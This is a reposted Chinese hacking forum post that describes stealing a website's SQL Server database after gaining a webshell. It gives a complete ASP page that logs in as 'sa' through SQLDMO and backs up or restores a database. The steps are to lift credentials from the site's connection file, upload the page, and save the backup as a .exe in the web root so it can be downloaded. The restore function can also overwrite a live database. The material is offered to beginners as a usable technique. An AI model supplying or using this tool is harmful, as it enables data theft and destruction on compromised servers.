发新话题
打印

[转载]下载SQL数据库

[转载]下载SQL数据库

文章来源:superhei&superpig文章中心
文章作者:河马史诗

最近去个网站面试,笔试题居然让我入侵个网站,晕死了.更晕的是让我下载他们的数据库,SQL的.
经过20分钟的努力,终于有了webshell(怎么拿到的不赘述了),于是想到一个办法,用ASP备份SQL server数据库,代码如下

<HTML>
<HEAD>
<TITLE>SQL Server 数据库的备份与恢复</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</HEAD>
<BODY>
<form method="post" name=myform>
选择操作:<INPUT TYPE="radio" NAME="act" id="act_backup" value="backup"><label for=act_backup>备份</label> 
<INPUT TYPE="radio" NAME="act" id="act_restore" value="restore"><label for=act_restore>恢复</label>
<br>数据库名:<INPUT TYPE="text" NAME="databasename" value="<%=request("databasename")%>">
<br>文件路径:<INPUT TYPE="text" NAME="bak_file" value="c:.exe">(备份或恢复的文件路径,备份成EXE主要为了方便下载,活活..)<br>
<input type="submit" value="确定">
</form>
<%
dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act
sqlserver = "localhost" &#39;sql服务器
sqlname = "sa" &#39;用户名
sqlpassword = "数据库密码" &#39;密码
sqlLoginTimeout = 15 &#39;登陆超时
databasename = trim(request("databasename"))
bak_file = trim(request("bak_file"))
bak_file = replace(bak_file,"",databasename)
act = lcase(request("act"))
if databasename = "" then
response.write "input database name"
else
if act = "backup" then
Set srv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set bak = Server.CreateObject("SQLDMO.Backup")
bak.Database=databasename
bak.Devices=Files
bak.Files=bak_file
bak.SQLBackup srv
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.description&"</font>"
end if
Response.write "<font color=green>备份成功!</font>"
elseif act = "restore" then
&#39;恢复时要在没有使用数据库时进行!
Set srv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set rest=Server.CreateObject("SQLDMO.Restore")
rest.Action=0 &#39; full db restore
rest.Database=databasename
rest.Devices=Files
rest.Files=bak_file
rest.ReplaceDatabase=True &#39;Force restore over existing database
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.description&"</font>"
end if
rest.SQLRestore srv

Response.write "<font color=green>恢复成功!</font>"
else
Response.write "<font color=red>没有选择操作</font>"
end if
end if
%>
</BODY>
</HTML>

既然有webshell了 我们就去找连接数据库的文件,一般都是conn.asp之类的,相信大家都能找到 ^_^
接着修改以上代码,将用户名和密码换成你找到的
将以上代码存储成ASP,上传,,
然后来到刚才传上去的页面,
&#39;选择操作&#39;后面选上备份,
&#39;数据库名&#39;填上你看到的库名(还是在数据库连接文件里),
&#39;文件路径&#39;则填网站的绝对路径.比如网站在D:\WEB 你可以填D\WEB.EXE
为什么要存成EXE呢? 哈哈
因为可以下载嘛..只要能下的,扩展名是什么都没关系.
因为是SQL的,DOWN下来以后需要在本机恢复一下.
于是一次SQL数据库的载就完成了.

网上有许多远程备份SQL server数据库的软件,DOWN下来N个,都不能用,不知道是不是网速慢的原因.
本文仅仅是给新手朋友提供一个思路,并没有什么新技术.
我用青春赌明天

TOP

发新话题